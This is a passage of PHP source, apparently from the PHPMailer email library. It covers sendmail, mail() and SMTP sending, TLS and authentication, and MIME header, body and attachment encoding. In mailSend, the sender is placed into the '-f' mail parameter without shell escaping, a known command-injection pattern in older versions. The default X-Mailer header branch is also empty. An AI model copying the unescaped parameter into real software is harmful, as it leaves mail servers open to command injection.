                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->SmtpSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer . 'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    protected function sendmailSend($header, $body)
    {
        if ($this->Sender != '') {
            if ($this->Mailer == 'qmail') {
                $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
            } else {
                $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
            } else {
                $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
            }
        }
        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);
        if (empty($this->Sender)) {
            $params = ' ';
        } else {
            $params = sprintf('-f%s', $this->Sender);
        }
        if ($this->Sender != '' and !ini_get('safe_mode')) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo && count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if ('' == $this->Sender) {
            $smtp_from = $this->From;
        } else {
            $smtp_from = $this->Sender;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    public function smtpConnect($options = array())
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }
        if ($this->smtp->connected()) {
            return true;
        }
        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;
        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
                continue;
            }
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                $secure = 'tls';
            }
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    $this->smtp->quit();
                }
            }
        }
        $this->smtp->close();
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    public function smtpClose()
    {
        if ($this->smtp !== null) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    public function setLanguage($langcode = 'en', $lang_path = '')
    {
// Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: '
        );
        if (empty($lang_path)) {
// Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'language' . DIRECTORY_SEPARATOR;
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        if ($langcode != 'en') { // There is no English translation file
// Make sure language file path is readable
            if (!is_readable($lang_file)) {
                $foundlang = false;
            } else {
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    public function getTranslations()
    {
        return $this->language;
    }

    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    public function wrapText($message, $length, $qp_mode = false)
    {
        $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);
        $message = $this->fixEOL($message);
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }
        $line = explode($this->LE, $message); // Magic. We know fixEOL uses $LE
        $message = '';
        for ($i = 0; $i < count($line); $i++) {
            $line_part = explode(' ', $line[$i]);
            $buf = '';
            for ($e = 0; $e < count($line_part); $e++) {
                $word = $line_part[$e];
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if ($e != 0) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);
                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    $buf .= ($e == 0) ? $word : (' ' . $word);
                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
            }
            $message .= $buf . self::CRLF;
        }
        return $message;
    }

    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
// Found start of encoded character byte within $lookBack block.
// Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) { // Single byte character.
// If the encoded char was found at pos 0, it will fit
// otherwise reduce maxLength to start of the encoded char
                    $maxLength = ($encodedCharPos == 0) ? $maxLength :
                        $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec >= 192) { // First byte of a multi byte character
// Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
// No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }
        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    public function createHeader()
    {
        $result = '';
// Set the boundaries
        $uniq_id = md5(uniqid(time()));
        $this->boundary[1] = 'b1_' . $uniq_id;
        $this->boundary[2] = 'b2_' . $uniq_id;
        $this->boundary[3] = 'b3_' . $uniq_id;
        if ($this->MessageDate == '') {
            $this->MessageDate = self::rfcDate();
        }
        $result .= $this->headerLine('Date', $this->MessageDate);

// To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }
        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
// sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }
// sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }
        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }
// mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }
        if ($this->MessageID != '') {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname());
        }
        $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
        $result .= $this->headerLine('X-Priority', $this->Priority);
        if ($this->XMailer == '') {
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }
        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
        }
// Add custom headers
        for ($index = 0; $index < count($this->CustomHeader); $index++) {
            $result .= $this->headerLine(
                trim($this->CustomHeader[$index][0]),
                $this->encodeHeader(trim($this->CustomHeader[$index][1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }
        return $result;
    }

    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
// Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
// RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
// RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
// The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }
        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }
        return $result;
    }

    public function getSentMIMEMessage()
    {
        return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
    }

    public function createBody()
    {
        $body = '';
        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }
        $this->setWordWrap();
        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            $bodyCharSet = 'us-ascii';
        }
        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            $altBodyCharSet = 'us-ascii';
        }
        switch ($this->message_type) {
            case 'inline':
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
// catch case 'plain' and case ''
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                break;
        }
        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
                }
// @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                if (@openssl_pkcs7_sign(
                    $file,
                    $signed,
                    'file://' . realpath($this->sign_cert_file),
                    array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                    null
                )
                ) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
// RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;
        return $result;
    }

    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            $this->message_type = 'plain';
        }
    }

    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    public function textLine($value)
    {
        return $value . $this->LE;
    }

    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }
// If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }
            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }
            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    public function getAttachments()
    {
        return $this->attachment;
    }

    protected function attachAll($disposition_type, $boundary)
    {
// Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();
// Add all attachments
        foreach ($this->attachment as $attachment) {
// Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
// Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }
                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && isset($cidUniq[$cid])) {
                    continue;
                }
                $cidUniq[$cid] = true;
                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                $mime[] = sprintf(
                    'Content-Type: %s; name="%s"%s',
                    $type,
                    $this->encodeHeader($this->secureHeader($name)),
                    $this->LE
                );
// RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }
                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }
// If a filename contains any of these chars, it should be quoted,
// but not otherwise: RFC2183 & RFC2045 5.1
// Fixes a warning in IETF's msglint MIME checker
// Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename=%s%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    }
                } else {
                    $mime[] = $this->LE;
                }
// Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }
        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
        return implode('', $mime);
    }

    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!is_readable($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = get_magic_quotes_runtime();
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    ini_set('magic_quotes_runtime', 0);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', ($magic_quotes ? '1' : '0'));
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
// Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
// Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
// Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }
        if ($matchcount == 0) { // There are no chars that need encoding
            return ($str);
        }
        $maxlen = 75 - 7 - strlen($this->CharSet);
// Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
// More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
